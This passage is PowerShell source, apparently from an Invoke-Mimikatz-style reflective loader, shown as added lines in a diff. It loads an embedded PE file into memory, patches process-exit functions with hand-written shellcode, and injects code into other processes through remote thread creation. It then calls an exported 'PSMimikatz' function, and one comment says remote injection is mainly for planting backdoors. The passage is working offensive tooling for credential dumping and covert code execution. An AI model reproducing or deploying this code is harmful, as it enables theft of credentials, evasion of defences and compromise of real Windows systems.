$false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + #Determine whether or not to use 32bit or 64bit bytes + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) + } + else + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) + } + $PEBytes[0] = 0 + $PEBytes[1] = 0 + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "PSMimikatz" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + $WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs) + [IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput) + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main +} + +#Main function to either run the script locally or remotely +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and 